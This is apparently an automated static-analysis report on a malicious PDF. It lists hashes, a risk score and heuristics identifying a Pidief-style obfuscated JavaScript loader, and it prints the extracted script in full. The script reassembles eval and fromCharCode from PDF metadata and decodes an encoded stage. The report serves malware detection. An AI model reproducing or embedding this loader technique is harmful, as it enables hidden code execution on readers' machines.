Malicious PDF — malware analysis report

Static analysis result for SHA-256 393e69bfb98bf943…

MALICIOUS

PDF

44.9 KB Authoring application: substr First seen: 2026-05-07
MD5: 0781081ea0b4f8afc379b5d157a88cc8 SHA-1: b194beb03f65cf56877d30ebd7a2c7610e3de979 SHA-256: 393e69bfb98bf943fd1c34292813e0832ce12767af023415d6cc303649bf963a
86 Risk Score

Malware Insights

The PDF document was flagged as suspicious by a machine learning classifier with high confidence. Static analysis revealed embedded JavaScript, which is often used to execute malicious code or exploit vulnerabilities within the PDF reader. No specific IOCs were extracted, but the presence of JavaScript indicates a potential for further malicious activity.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0E0 488 bytes
SHA-256: a3c0e974834278c1abc999098436df305b9b15bdbab9dc619c3788ba453b37c6
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
qwtxl=e(v[4]+'i'.concat(v[4],t));
q=qwtxl[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
mlk=e(e('d'));
sub=v[0];
sub+='ubject';
q=qwtxl[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	xue = 1*(q[i]);
	i++;
	xue -= (-1)*(q[i]);
	s2 += mlk(xue);
	i++;
}
e(s2);

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